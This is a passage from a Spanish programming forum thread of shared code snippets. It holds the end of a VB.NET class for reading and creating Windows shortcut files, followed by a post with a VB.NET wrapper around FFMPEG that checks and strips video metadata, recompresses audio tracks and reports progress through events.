  509.    ''' </summary>
  510.    ''' <param name="ShortcutFile">
  511.    ''' The shortcut file to resolve.
  512.    ''' </param>
  513.    ''' <param name="hwnd">
  514.    ''' The new handle pointer that would be generated
  515.    ''' for the window which should display the error message (if any).
  516.    ''' </param>
  517.    Public Shared Sub Resolve_Ui(ShortcutFile As String, hwnd As IntPtr)
  518.        LoadShortcut(ShortcutFile)
  519.        DirectCast(lnk, IShellLinkW).Resolve(hwnd, SLR_FLAGS.SLR_UPDATE)
  520.    End Sub
  521.  
  522.    ''' <summary>
  523.    ''' Resolves the target of a shortcut.
  524.    ''' If shortcut can't be resolved, any error message would be displayed.
  525.    ''' This is usefull when the target path of a shortcut file is changed from a driveletter for example,
  526.    ''' then the shortcut file need to be resolved before trying to retrieve the target path.
  527.    ''' </summary>
  528.    ''' <param name="ShortcutFile">
  529.    ''' The shortcut file to resolve.
  530.    ''' </param>
  531.    Public Shared Sub Resolve_NoUi(ByVal ShortcutFile As String)
  532.        LoadShortcut(ShortcutFile)
  533.        DirectCast(lnk, IShellLinkW).Resolve(IntPtr.Zero, SLR_FLAGS.SLR_UPDATE Or SLR_FLAGS.SLR_NO_UI)
  534.    End Sub
  535.  
  536.    ''' <summary>
  537.    ''' Returns the description of a shortcut file.
  538.    ''' </summary>
  539.    ''' <param name="ShortcutFile">
  540.    ''' The shortcut file to retrieve the info.
  541.    ''' </param>
  542.    Public Shared Function Get_Description(ByVal ShortcutFile As String) As String
  543.        LoadShortcut(ShortcutFile)
  544.        lnk_description.Clear()
  545.        DirectCast(lnk, IShellLinkW).GetDescription(lnk_description, lnk_description.Capacity)
  546.        Return lnk_description.ToString()
  547.    End Function
  548.  
  549.    ''' <summary>
  550.    ''' Returns the Arguments of a shortcut file.
  551.    ''' </summary>
  552.    ''' <param name="ShortcutFile">
  553.    ''' The shortcut file to retrieve the info.
  554.    ''' </param>
  555.    Public Shared Function Get_Arguments(ByVal ShortcutFile As String) As String
  556.        LoadShortcut(ShortcutFile)
  557.        lnk_arguments.Clear()
  558.        DirectCast(lnk, IShellLinkW).GetArguments(lnk_arguments, lnk_arguments.Capacity)
  559.        Return lnk_arguments.ToString()
  560.    End Function
  561.  
  562.    ''' <summary>
  563.    ''' Returns the path and filename of a shortcut file.
  564.    ''' </summary>
  565.    ''' <param name="ShortcutFile">
  566.    ''' The shortcut file to retrieve the info.
  567.    ''' </param>
  568.    Public Shared Function Get_FullPath(ByVal ShortcutFile As String) As String
  569.        LoadShortcut(ShortcutFile)
  570.        lnk_target.Clear()
  571.        DirectCast(lnk, IShellLinkW).GetPath(lnk_target, lnk_target.Capacity, lnk_data, SLGP_FLAGS.SLGP_UNCPRIORITY)
  572.        Return lnk_target.ToString()
  573.    End Function
  574.  
  575.    ''' <summary>
  576.    ''' Returns the working directory of a shortcut file.
  577.    ''' </summary>
  578.    ''' <param name="ShortcutFile">
  579.    ''' The shortcut file to retrieve the info.
  580.    ''' </param>
  581.    Public Shared Function Get_WorkingDir(ByVal ShortcutFile As String) As String
  582.        LoadShortcut(ShortcutFile)
  583.        lnk_workingdir.Clear()
  584.        DirectCast(lnk, IShellLinkW).GetWorkingDirectory(lnk_workingdir, lnk_workingdir.Capacity)
  585.        Return lnk_workingdir.ToString()
  586.    End Function
  587.  
  588.    ''' <summary>
  589.    ''' Returns the Hotkey of a shortcut file.
  590.    ''' </summary>
  591.    ''' <param name="ShortcutFile">
  592.    ''' The shortcut file to retrieve the info.
  593.    ''' </param>
  594.    Public Shared Function Get_Hotkey(ByVal ShortcutFile As String) As Short
  595.        LoadShortcut(ShortcutFile)
  596.        lnk_hotkey = -1
  597.        DirectCast(lnk, IShellLinkW).GetHotkey(lnk_hotkey)
  598.        Return lnk_hotkey
  599.    End Function
  600.  
  601.    ''' <summary>
  602.    ''' Returns the Window State of a shortcut file.
  603.    ''' </summary>
  604.    ''' <param name="ShortcutFile">
  605.    ''' The shortcut file to retrieve the info.
  606.    ''' </param>
  607.    Public Shared Function Get_WindowStyle(ByVal ShortcutFile As String) As ShortcutWindowState
  608.        LoadShortcut(ShortcutFile)
  609.        DirectCast(lnk, IShellLinkW).GetShowCmd(lnk_windowstate)
  610.        Return lnk_windowstate
  611.    End Function
  612.  
  613.    ''' <summary>
  614.    ''' Returns the Icon location of a shortcut file.
  615.    ''' </summary>
  616.    ''' <param name="ShortcutFile">
  617.    ''' The shortcut file to retrieve the info.
  618.    ''' </param>
  619.    ''' <param name="IconIndex">
  620.    ''' Optional Integer type variable to store the IconIndex.
  621.    ''' </param>
  622.    Public Shared Function Get_IconLocation(ByVal ShortcutFile As String,
  623.                                            Optional ByRef IconIndex As Integer = 0) As String
  624.        LoadShortcut(ShortcutFile)
  625.        lnk_iconpath.Clear()
  626.        DirectCast(lnk, IShellLinkW).GetIconLocation(lnk_iconpath, lnk_iconpath.Capacity, IconIndex)
  627.        Return lnk_iconpath.ToString()
  628.    End Function
  629.  
  630.    ''' <summary>
  631.    ''' Retrieves all the information about a shortcut file.
  632.    ''' </summary>
  633.    ''' <param name="ShortcutFile">
  634.    ''' The shortcut file to retrieve the info.
  635.    ''' </param>
  636.    Public Shared Function GetInfo(ByVal ShortcutFile As String) As ShortcutInfo
  637.  
  638.        ' Load Shortcut
  639.        LoadShortcut(ShortcutFile)
  640.  
  641.        ' Clean objects
  642.        lnk_description.Clear()
  643.        lnk_arguments.Clear()
  644.        lnk_target.Clear()
  645.        lnk_workingdir.Clear()
  646.        lnk_iconpath.Clear()
  647.        lnk_hotkey = -1
  648.        lnk_iconindex = -1
  649.  
  650.        ' Retrieve Info
  651.        DirectCast(lnk, IShellLinkW).GetDescription(lnk_description, lnk_description.Capacity)
  652.        DirectCast(lnk, IShellLinkW).GetArguments(lnk_arguments, lnk_arguments.Capacity)
  653.        DirectCast(lnk, IShellLinkW).GetPath(lnk_target, lnk_target.Capacity, lnk_data, SLGP_FLAGS.SLGP_UNCPRIORITY)
  654.        DirectCast(lnk, IShellLinkW).GetWorkingDirectory(lnk_workingdir, lnk_workingdir.Capacity)
  655.        DirectCast(lnk, IShellLinkW).GetIconLocation(lnk_iconpath, lnk_iconpath.Capacity, lnk_iconindex)
  656.        DirectCast(lnk, IShellLinkW).GetHotkey(lnk_hotkey)
  657.        DirectCast(lnk, IShellLinkW).GetShowCmd(lnk_windowstate)
  658.  
  659.        ' Return Info
  660.        Return New ShortcutInfo With {
  661.            .ShortcutFile = ShortcutFile,
  662.            .Description = lnk_description.ToString,
  663.            .Arguments = lnk_arguments.ToString,
  664.            .Target = lnk_target.ToString,
  665.            .Icon = lnk_iconpath.ToString,
  666.            .IconIndex = lnk_iconindex,
  667.            .WorkingDir = lnk_workingdir.ToString,
  668.            .Hotkey = Hex(lnk_hotkey),
  669.            .Hotkey_Modifier = [Enum].Parse(GetType(HotkeyModifiers), GetHiByte(lnk_hotkey)),
  670.            .Hotkey_Key = [Enum].Parse(GetType(Keys), GetLoByte(lnk_hotkey)),
  671.            .WindowState = lnk_windowstate,
  672.            .IsFile = File.Exists(lnk_target.ToString),
  673.            .IsDirectory = Directory.Exists(lnk_target.ToString),
  674.            .DriveLetter = lnk_target.ToString.Substring(0, 1),
  675.            .DirectoryName = lnk_target.ToString.Substring(0, lnk_target.ToString.LastIndexOf("\")),
  676.            .FileName = lnk_target.ToString.Split("\").LastOrDefault.Split(".").FirstOrDefault,
  677.            .FileExtension = lnk_target.ToString.Split(".").LastOrDefault
  678.        }
  679.  
  680.    End Function
  681.  
  682.    ''' <summary>
  683.    ''' Creates a shortcut file.
  684.    ''' </summary>
  685.    ''' <param name="FilePath">
  686.    ''' The filepath to create the shortcut.
  687.    ''' </param>
  688.    ''' <param name="Target">
  689.    ''' The target file or directory.
  690.    ''' </param>
  691.    ''' <param name="WorkingDirectory">
  692.    ''' The working directory os the shortcut.
  693.    ''' </param>
  694.    ''' <param name="Description">
  695.    ''' The shortcut description.
  696.    ''' </param>
  697.    ''' <param name="Arguments">
  698.    ''' The target file arguments.
  699.    ''' This value only should be set when target is an executable file.
  700.    ''' </param>
  701.    ''' <param name="Icon">
  702.    ''' The icon location of the shortcut.
  703.    ''' </param>
  704.    ''' <param name="IconIndex">
  705.    ''' The icon index of the icon file.
  706.    ''' </param>
  707.    ''' <param name="HotKey_Modifier">
  708.    ''' The hotkey modifier(s) which should be used for the hotkey combination.
  709.    ''' <paramref name="HotkeyModifiers"/> can be one or more modifiers.
  710.    ''' </param>
  711.    ''' <param name="HotKey_Key">
  712.    ''' The key used in combination with the <paramref name="HotkeyModifiers"/> for hotkey combination.
  713.    ''' </param>
  714.    ''' <param name="WindowState">
  715.    ''' The Window state for the target.
  716.    ''' </param>
  717.    Public Shared Sub Create(ByVal FilePath As String,
  718.                             ByVal Target As String,
  719.                             Optional ByVal WorkingDirectory As String = Nothing,
  720.                             Optional ByVal Description As String = Nothing,
  721.                             Optional ByVal Arguments As String = Nothing,
  722.                             Optional ByVal Icon As String = Nothing,
  723.                             Optional ByVal IconIndex As Integer = Nothing,
  724.                             Optional ByVal HotKey_Modifier As HotkeyModifiers = Nothing,
  725.                             Optional ByVal HotKey_Key As Keys = Nothing,
  726.                             Optional ByVal WindowState As ShortcutWindowState = ShortcutWindowState.Normal)
  727.  
  728.        LoadShortcut(FilePath)
  729.  
  730.        DirectCast(lnk, IShellLinkW).SetPath(Target)
  731.  
  732.        DirectCast(lnk, IShellLinkW).SetWorkingDirectory(If(WorkingDirectory IsNot Nothing,
  733.                                                            WorkingDirectory,
  734.                                                            Path.GetDirectoryName(Target)))
  735.  
  736.        DirectCast(lnk, IShellLinkW).SetDescription(Description)
  737.        DirectCast(lnk, IShellLinkW).SetArguments(Arguments)
  738.        DirectCast(lnk, IShellLinkW).SetIconLocation(Icon, IconIndex)
  739.  
  740.        DirectCast(lnk, IShellLinkW).SetHotkey(If(HotKey_Modifier + HotKey_Key <> 0,
  741.                                                  Convert.ToInt32(CInt(HotKey_Modifier & Hex(HotKey_Key)), 16),
  742.                                                  Nothing))
  743.  
  744.        DirectCast(lnk, IShellLinkW).SetShowCmd(WindowState)
  745.  
  746.        DirectCast(lnk, IPersistFile).Save(FilePath, True)
  747.        DirectCast(lnk, IPersistFile).SaveCompleted(FilePath)
  748.  
  749.    End Sub
  750.  
  751. #End Region
  752.  
  753. #Region " Private Methods "
  754.  
  755.    ''' <summary>
  756.    ''' Loads the shortcut object to retrieve information.
  757.    ''' </summary>
  758.    ''' <param name="ShortcutFile">
  759.    ''' The shortcut file to retrieve the info.
  760.    ''' </param>
  761.    Private Shared Sub LoadShortcut(ByVal ShortcutFile As String)
  762.        DirectCast(lnk, IPersistFile).Load(ShortcutFile, 0)
  763.    End Sub
  764.  
  765.    ''' <summary>
  766.    ''' Gets the low order byte of a number.
  767.    ''' </summary>
  768.    Private Shared Function GetLoByte(ByVal Intg As Integer) As Integer
  769.        Return Intg And &HFF&
  770.    End Function
  771.  
  772.    ''' <summary>
  773.    ''' Gets the high order byte of a number.
  774.    ''' </summary>
  775.    Private Shared Function GetHiByte(ByVal Intg As Integer) As Integer
  776.        Return (Intg And &HFF00&) / 256
  777.    End Function
  778.  
  779. #End Region
  780.  
  781. End Class
  782.  
  783. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Noviembre 2013, 14:32 pm
Otro ayudante más, en esta ocasión es para la aplicación FFMPEG,
no le añadí ningún método para convertir video (pero si uno para el audio) ya que no necesito convertir la pista de video, pero el código es facil de extender, solo hay que seguir el ejemplo del audio.

PD: Existen varios wrappers de FFMPEG para .NET, pero... todos obsoletos, en C#, y no he visto ninguno que tenga un triste evento al que subscribirse.


(http://img811.imageshack.us/img811/3097/4nso.png)


Código
  1.  
  2.  
  3. ' [ FFMPEG Helper ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Instructions:
  8. '
  9. ' 1. Add the "FFMPEG.exe" into the project
  10.  
  11.  
  12. #Region " FFMPEG Helper "
  13.  
  14. #Region " Usage Examples "
  15.  
  16. 'Public Class Form1
  17.  
  18. '    Private WithEvents _FFMPEG As New FFMPEG With
  19. '    {.FFMPEG_location = "C:\windows\system32\ffmpeg.exe", .CheckFileExist = False}
  20.  
  21. '    Private Shadows Sub Shown() Handles MyBase.Shown
  22.  
  23. '        ' Checks if FFMPEG executable is avaliable.
  24. '        MsgBox(_FFMPEG.Is_Avaliable())
  25.  
  26. '        ' Checks if a video has metadata
  27. '        MsgBox(_FFMPEG.HasMetadata("C:\Video.mkv"))
  28.  
  29. '        ' Remove metadata from video
  30. '        _FFMPEG.RemoveMetadata("C:\Input.mkv", "C:\Output.mkv", True, 4)
  31.  
  32. '        ' reCompress the audio track of a video
  33. '        _FFMPEG.Recompress_AudioTrack("C:\Input.mkv", "C:\Output.mkv", True,
  34. '                                      FFMPEG.AudioCodec.libmp3lame, FFMPEG.AudioBitRate.kbps_128, 4)
  35.  
  36. '    End Sub
  37.  
  38. '    ' FFMPEG [Started]
  39. '    Private Sub FFMPEG_Started(ByVal sender As Process, ByVal e As FFMPEG.StartedEventArgs) _
  40. '    Handles _FFMPEG.Started
  41.  
  42. '        ProgressBar1.Value = ProgressBar1.Minimum
  43.  
  44. '        Dim sb As New System.Text.StringBuilder
  45.  
  46. '        sb.AppendLine(String.Format("Started an ""{0}"" operation", e.Operation.ToString))
  47. '        sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
  48. '        sb.AppendLine(String.Format("FFMPEG process PID is: ""{0}""", CStr(sender.Id)))
  49.  
  50. '        MessageBox.Show(sb.ToString, "FFMPEG", MessageBoxButtons.OK, MessageBoxIcon.Information)
  51.  
  52. '    End Sub
  53.  
  54. '    ' FFMPEG [Exited]
  55. '    Private Sub FFMPEG_Exited(ByVal sender As Process, ByVal e As FFMPEG.ExitedEventArgs) _
  56. '    Handles _FFMPEG.Exited
  57.  
  58. '        Dim sb As New System.Text.StringBuilder
  59.  
  60. '        sb.AppendLine(String.Format("Finished an ""{0}"" operation", e.Operation.ToString))
  61. '        sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
  62. '        sb.AppendLine(String.Format("FFMPEG process PID is: {0}", CStr(sender.Id)))
  63.  
  64. '        If e.Errors.Count <> 0 Then
  65. '            sb.AppendLine(String.Format("Errors during operation: {0}", String.Join(Environment.NewLine, e.Errors)))
  66. '        End If
  67.  
  68. '        MessageBox.Show(sb.ToString, "FFMPEG", MessageBoxButtons.OK, MessageBoxIcon.Information)
  69.  
  70. '    End Sub
  71.  
  72. '    ' FFMPEG [Progress]
  73. '    Private Sub FFMPEG_Progress(sender As Process, e As FFMPEG.ProgressEventArgs) _
  74. '    Handles _FFMPEG.Progress
  75.  
  76. '        ProgressBar1.Value = e.Percent
  77.  
  78. '        Label1.Text = "Percent Done: " & CStr(e.Percent) & "%"
  79. '        Label2.Text = "Video Duration: " & e.VideoDuration.ToString("hh\:mm\:ss")
  80. '        Label3.Text = "Written Duration: " & e.Time.ToString("hh\:mm\:ss")
  81. '        Label4.Text = "Written Data: " & (e.WrittenBytes / 1024L * 1024L).ToString("n1") & "MB"
  82.  
  83. '    End Sub
  84.  
  85. 'End Class
  86.  
  87. #End Region
  88.  
  89. #Region " CommandLine Parameter legend "
  90.  
  91. '-y        | Overwrite output files without asking.
  92. '-n        | Do not overwrite output files, and exit immediately if a specified output file already exists.
  93. '-threads: |  Specify the cpu threads to use.
  94. '-nostdin  | Disable interaction on standard input.
  95. '-vcodec   | Set the video codec.
  96. '-acodec   | Set the audio codec.
  97. '-vn       | Disable video recording.
  98. '-an       | Disable audio recording.
  99.  
  100. ' -c copy -map_metadata -1
  101. ' Don't add metadata.
  102.  
  103. #End Region
  104.  
  105. Public Class FFMPEG : Implements IDisposable
  106.  
  107. #Region " Variables, Properties, Enumerations "
  108.  
  109.    ''' <summary>
  110.    ''' Gets or sets FFMPEG.exe executable path.
  111.    ''' </summary>
  112.    Public Property FFMPEG_location As String = ".\FFMPEG.exe"
  113.  
  114.    ''' <summary>
  115.    ''' Unique temp file to write FFMPEG output.
  116.    ''' </summary>
  117.    Private ReadOnly TempFile As String = IO.Path.GetTempFileName
  118.  
  119.    ''' <summary>
  120.    ''' Indicates if should check that the file exist before realize an operation.
  121.    ''' If True, an exception would be launched if file does not exist.
  122.    ''' </summary>
  123.    Public Property CheckFileExist As Boolean = False
  124.  
  125.    ''' <summary>
  126.    ''' Stores the next FFMEP process output line.
  127.    ''' </summary>
  128.    Private OutputLine As String = Nothing
  129.  
  130.    ''' <summary>
  131.    ''' Stores the Video Duration.
  132.    ''' </summary>
  133.    Private VideoDuration As TimeSpan = Nothing
  134.  
  135.    ''' <summary>
  136.    ''' Stores the processed video time.
  137.    ''' </summary>
  138.    Private Time As TimeSpan = Nothing
  139.  
  140.    ''' <summary>
  141.    ''' Stores the conversion errors (if any).
  142.    ''' </summary>
  143.    Private Errors As New List(Of String)
  144.  
  145.    ''' <summary>
  146.    ''' Stores the StartedEventArgs Arguments.
  147.    ''' </summary>
  148.    Private StartedArgs As New StartedEventArgs
  149.  
  150.    ''' <summary>
  151.    ''' Stores the ExitedEventArgs Arguments.
  152.    ''' </summary>
  153.    Private ExitedArgs As New ExitedEventArgs
  154.  
  155.    ''' <summary>
  156.    ''' Stores the ProgressEventArgs Arguments.
  157.    ''' </summary>
  158.    Private ProgressArgs As New ProgressEventArgs
  159.  
  160.    ''' <summary>
  161.    ''' FFMPEG kind Of Operation.
  162.    ''' </summary>
  163.    Public Enum Operation As Short
  164.        Check_Metadata = 0
  165.        Remove_Metadata = 1
  166.        Recompress_AudioTrack = 2
  167.    End Enum
  168.  
  169.    ''' <summary>
  170.    ''' FFMPEG Process.
  171.    ''' </summary>
  172.    Private p As Process =
  173.        New Process With {.StartInfo =
  174.            New ProcessStartInfo With {
  175.                .CreateNoWindow = True, _
  176.                .UseShellExecute = False, _
  177.                .RedirectStandardError = True, _
  178.                .RedirectStandardOutput = True, _
  179.                .StandardErrorEncoding = System.Text.Encoding.Default, _
  180.                .StandardOutputEncoding = System.Text.Encoding.Default
  181.           }
  182.        }
  183.  
  184.    ''' <summary>
  185.    ''' Audio Codec use for the conversion.
  186.    ''' </summary>
  187.    Public Enum AudioCodec
  188.  
  189.        ''' <summary>
  190.        ''' MP3 Audio.
  191.        ''' </summary>
  192.        libmp3lame
  193.  
  194.        ''' <summary>
  195.        ''' Windows Media Audio.
  196.        ''' </summary>
  197.        wmav2
  198.  
  199.    End Enum
  200.  
  201.    ''' <summary>
  202.    ''' BitRate used for the audio compression.
  203.    ''' </summary>
  204.    Public Enum AudioBitRate As Integer
  205.        kbps_24 = 24
  206.        kbps_32 = 32
  207.        kbps_40 = 40
  208.        kbps_48 = 48
  209.        kbps_56 = 56
  210.        kbps_64 = 64
  211.        kbps_80 = 80
  212.        kbps_96 = 96
  213.        kbps_112 = 112
  214.        kbps_128 = 128
  215.        kbps_144 = 144
  216.        kbps_160 = 160
  217.        kbps_192 = 192
  218.        kbps_224 = 224
  219.        kbps_256 = 256
  220.        kbps_320 = 320
  221.    End Enum
  222.  
  223. #End Region
  224.  
  225. #Region " Events "
  226.  
  227.    ''' <summary>
  228.    ''' Event raised when FFMPEG operation progress changes.
  229.    ''' </summary>
  230.    Public Event Progress As EventHandler(Of ProgressEventArgs)
  231.    Public Class ProgressEventArgs : Inherits EventArgs
  232.  
  233.        ''' <summary>
  234.        ''' The FFMPEG operation percent done.
  235.        ''' </summary>
  236.        Public Property Percent As Integer
  237.  
  238.        ''' <summary>
  239.        ''' The Input Video Duration.
  240.        ''' </summary>
  241.        Public Property VideoDuration As TimeSpan
  242.  
  243.        ''' <summary>
  244.        ''' The processed video time.
  245.        ''' </summary>
  246.        Public Property Time As TimeSpan
  247.  
  248.        ''' <summary>
  249.        ''' The total amount of written bytes.
  250.        ''' </summary>
  251.        Public Property WrittenBytes As Double
  252.  
  253.    End Class
  254.  
  255.    ''' <summary>
  256.    ''' Event raised when FFMPEG process has started.
  257.    ''' </summary>
  258.    Public Event Started As EventHandler(Of StartedEventArgs)
  259.    Public Class StartedEventArgs : Inherits EventArgs
  260.  
  261.        ''' <summary>
  262.        ''' Gets the file that was passed as argument to the process.
  263.        ''' </summary>
  264.        Public Property File As String
  265.  
  266.        ''' <summary>
  267.        ''' Gets the type of operation to realize.
  268.        ''' </summary>
  269.        Public Property Operation As Operation
  270.  
  271.    End Class
  272.  
  273.    ''' <summary>
  274.    ''' Event raised when FFMPEG process has exited.
  275.    ''' </summary>
  276.    Public Event Exited As EventHandler(Of ExitedEventArgs)
  277.    Public Class ExitedEventArgs : Inherits EventArgs
  278.  
  279.        ''' <summary>
  280.        ''' Gets the file that was passed as argument to the process.
  281.        ''' </summary>
  282.        Public Property File As String
  283.  
  284.        ''' <summary>
  285.        ''' Gets the type of operation to realize.
  286.        ''' </summary>
  287.        Public Property Operation As Operation
  288.  
  289.        ''' <summary>
  290.        ''' Gets an error message of the realized operation (if any).
  291.        ''' </summary>
  292.        Public Property Errors As List(Of String)
  293.  
  294.    End Class
  295.  
  296. #End Region
  297.  
  298. #Region " Public Methods "
  299.  
  300.    ''' <summary>
  301.    ''' Checks if FFMPEG process is avaliable.
  302.    ''' </summary>
  303.    Public Function Is_Avaliable() As Boolean
  304.        Return IO.File.Exists(Me.FFMPEG_location)
  305.    End Function
  306.  
  307.    ''' <summary>
  308.    ''' Checks if a video file contains metadata fields.
  309.    ''' </summary>
  310.    Public Function HasMetadata(ByVal VideoFile As String) As Boolean
  311.  
  312.        DisposedCheck()
  313.  
  314.        p.StartInfo.Arguments =
  315.          String.Format("-y -i ""{0}"" -f ffmetadata ""{1}""",
  316.                        VideoFile,
  317.                        TempFile)
  318.  
  319.        Run_FFMPEG(VideoFile, Operation.Check_Metadata)
  320.  
  321.        Return IO.File.ReadAllText(TempFile).Replace(";FFMETADATA1", "").Trim.Length <> 0
  322.  
  323.    End Function
  324.  
  325.    ''' <summary>
  326.    ''' Removes the metadata tags from a video file.
  327.    ''' </summary>
  328.    Public Sub RemoveMetadata(ByVal VideoFile As String,
  329.                              ByVal OutputFile As String,
  330.                              ByVal OverWrite As Boolean,
  331.                              Optional ByVal Threads As Integer = 1)
  332.  
  333.        DisposedCheck()
  334.  
  335.        p.StartInfo.Arguments =
  336.          String.Format("-nostdin -threads {2} {3} -i ""{0}"" -c copy -map_metadata -1 ""{1}""",
  337.                        VideoFile,
  338.                        OutputFile,
  339.                        Threads,
  340.                        If(OverWrite, "-y", "-n"))
  341.  
  342.        Run_FFMPEG(VideoFile, Operation.Remove_Metadata)
  343.  
  344.    End Sub
  345.  
  346.    ''' <summary>
  347.    ''' ReCompress the audio track of a video file.
  348.    ''' </summary>
  349.    Public Sub Recompress_AudioTrack(ByVal VideoFile As String,
  350.                                     ByVal OutputFile As String,
  351.                                     ByVal OverWrite As Boolean,
  352.                                     ByVal AudioCodec As AudioCodec,
  353.                                     ByVal Bitrate As AudioBitRate,
  354.                                     Optional ByVal CopyMetadata As Boolean = False,
  355.                                     Optional ByVal Threads As Integer = 1)
  356.  
  357.        DisposedCheck()
  358.  
  359.        p.StartInfo.Arguments =
  360.          String.Format("-nostdin -threads {2} {3} -i ""{0}"" {6} -vcodec copy -acodec {4} -ab {5} ""{1}""",
  361.                        VideoFile,
  362.                        OutputFile,
  363.                        Threads,
  364.                        If(OverWrite, "-y", "-n"),
  365.                        AudioCodec.ToString,
  366.                        CStr(Bitrate) & "k",
  367.                        If(CopyMetadata, "", "-c copy -map_metadata -1"))
  368.  
  369.        Run_FFMPEG(VideoFile, Operation.Recompress_AudioTrack)
  370.  
  371.    End Sub
  372.  
  373. #End Region
  374.  
  375. #Region " Run Method "
  376.  
  377.    ''' <summary>
  378.    ''' Runs a specific operation of FFMPEG.
  379.    ''' </summary>
  380.    Private Sub Run_FFMPEG(ByVal file As String,
  381.                           ByVal Operation As Operation)
  382.  
  383.        If Me.CheckFileExist Then
  384.            FileExist(file)
  385.        End If
  386.  
  387.        VideoDuration = Nothing
  388.        Errors.Clear()
  389.  
  390.        p.StartInfo.FileName = Me.FFMPEG_location
  391.        p.Start()
  392.  
  393.        With StartedArgs
  394.            .File = file
  395.            .Operation = Operation
  396.        End With
  397.  
  398.        RaiseEvent Started(p, StartedArgs)
  399.  
  400.        While Not p.StandardError.EndOfStream
  401.  
  402.            ' Parse the Input Video Duration to calculate the percentage.
  403.            Do Until VideoDuration.TotalMilliseconds > 0
  404.  
  405.                OutputLine = p.StandardError.ReadLine.ToLower
  406.  
  407.                If OutputLine.Contains("duration") Then
  408.  
  409.                    Try
  410.                        VideoDuration = TimeSpan.Parse(OutputLine.Replace("duration:", "").
  411.                                                                  Split(",").FirstOrDefault)
  412.                    Catch ex As FormatException
  413.                        VideoDuration = TimeSpan.Parse("24:00:00") ' 00:00:00
  414.                    End Try
  415.  
  416.                End If
  417.            Loop
  418.  
  419.            ' Parse the percentage and other values.
  420.            OutputLine = p.StandardError.ReadLine.ToLower
  421.  
  422.            If OutputLine.StartsWith("frame=") Then
  423.  
  424.                Time = TimeSpan.Parse(OutputLine.Split("=")(5).Split.First)
  425.  
  426.                With ProgressArgs
  427.                    .VideoDuration = VideoDuration
  428.                    .Time = Time
  429.                    .Percent = (Time.TotalSeconds / VideoDuration.TotalSeconds) * 100
  430.                    .WrittenBytes = CDbl(OutputLine.Split("=")(4).Trim.Split.First.Replace("kb", "")) / 1024
  431.                End With
  432.  
  433.                RaiseEvent Progress(p, ProgressArgs)
  434.  
  435.            ElseIf (OutputLine.Contains("error") OrElse OutputLine.Contains("warning")) Then
  436.                Errors.Add(OutputLine)
  437. #If DEBUG Then
  438.                ' MsgBox("[DEBUG] FFMPEG Error: " & OutputLine)
  439. #End If
  440.            End If
  441.  
  442.        End While
  443.  
  444.        With ExitedArgs
  445.            .File = file
  446.            .Operation = Operation
  447.            .Errors = Errors
  448.        End With
  449.  
  450.        RaiseEvent Exited(p, ExitedArgs)
  451.  
  452.        ' FFMPEG.Close()
  453.  
  454.    End Sub
  455.  
  456. #End Region
  457.  
  458. #Region " Miscellaneous Methods "
  459.  
  460.    ''' <summary>
  461.    ''' Checks if a file exists.
  462.    ''' </summary>
  463.    Private Sub FileExist(ByVal File As String)
  464.  
  465.        If Not IO.File.Exists(File) Then
  466.            ' Throw New Exception("File doesn't exist: " & File)
  467.            MessageBox.Show("File doesn't exist: " & File, "FFMPEG", MessageBoxButtons.OK, MessageBoxIcon.Error)
  468.        End If
  469.  
  470.    End Sub
  471.  
  472. #End Region
  473.  
  474. #Region " IDisposable "
  475.  
  476.    ''' <summary>
  477.    ''' To detect redundant calls when disposing.
  478.    ''' </summary>
  479.    Private IsDisposed As Boolean = False
  480.  
  481.    ''' <summary>
  482.    ''' Prevents calls to methods after disposing.
  483.    ''' </summary>
  484.    Private Sub DisposedCheck()
  485.        If Me.IsDisposed Then
  486.            Throw New ObjectDisposedException(Me.GetType().FullName)
  487.        End If
  488.    End Sub
  489.  
  490.    ''' <summary>
  491.    ''' Disposes the objects generated by this instance.
  492.    ''' </summary>
  493.    Public Sub Dispose() Implements IDisposable.Dispose
  494.        Dispose(True)
  495.        GC.SuppressFinalize(Me)
  496.    End Sub
  497.  
  498.    ' IDisposable
  499.    Protected Overridable Sub Dispose(IsDisposing As Boolean)
  500.  
  501.        If Not Me.IsDisposed Then
  502.  
  503.            If IsDisposing Then
  504.                p.Dispose()
  505.            End If
  506.  
  507.        End If
  508.  
  509.        Me.IsDisposed = True
  510.  
  511.    End Sub
  512.  
  513. #End Region
  514.  
  515. End Class
  516.  
  517. #End Region


Un ejemplo de uso:

Código
  1. Public Class Form1
  2.  
  3.    Private WithEvents _FFMPEG As New FFMPEG With
  4.    {.FFMPEG_location = "C:\windows\system32\ffmpeg.exe", .CheckFileExist = False}
  5.  
  6.    Private Shadows Sub Shown() Handles MyBase.Shown
  7.  
  8.        ' Checks if FFMPEG executable is avaliable.
  9.        MsgBox(_FFMPEG.Is_Avaliable())
  10.  
  11.        ' Checks if a video has metadata
  12.        MsgBox(_FFMPEG.HasMetadata("C:\Video.mkv"))
  13.  
  14.        ' Remove metadata from video
  15.        _FFMPEG.RemoveMetadata("C:\Input.mkv", "C:\Output.mkv", True, 4)
  16.  
  17.        ' reCompress the audio track of a video
  18.        _FFMPEG.Recompress_AudioTrack("C:\Input.mkv", "C:\Output.mkv", True,
  19.                                      FFMPEG.AudioCodec.libmp3lame, FFMPEG.AudioBitRate.kbps_128, 4)
  20.  
  21.    End Sub
  22.  
  23.    ' FFMPEG [Started]
  24.    Private Sub FFMPEG_Started(ByVal sender As Process, ByVal e As FFMPEG.StartedEventArgs) _
  25.    Handles _FFMPEG.Started
  26.  
  27.        ProgressBar1.Value = ProgressBar1.Minimum
  28.  
  29.        Dim sb As New System.Text.StringBuilder
  30.  
  31.        sb.AppendLine(String.Format("Started an ""{0}"" operation", e.Operation.ToString))
  32.        sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
  33.        sb.AppendLine(String.Format("FFMPEG process PID is: ""{0}""", CStr(sender.Id)))
  34.  
  35.        MessageBox.Show(sb.ToString, "FFMPEG", MessageBoxButtons.OK, MessageBoxIcon.Information)
  36.  
  37.    End Sub
  38.  
  39.    ' FFMPEG [Exited]
  40.    Private Sub FFMPEG_Exited(ByVal sender As Process, ByVal e As FFMPEG.ExitedEventArgs) _
  41.    Handles _FFMPEG.Exited
  42.  
  43.        Dim sb As New System.Text.StringBuilder
  44.  
  45.        sb.AppendLine(String.Format("Finished an ""{0}"" operation", e.Operation.ToString))
  46.        sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
  47.        sb.AppendLine(String.Format("FFMPEG process PID is: {0}", CStr(sender.Id)))
  48.  
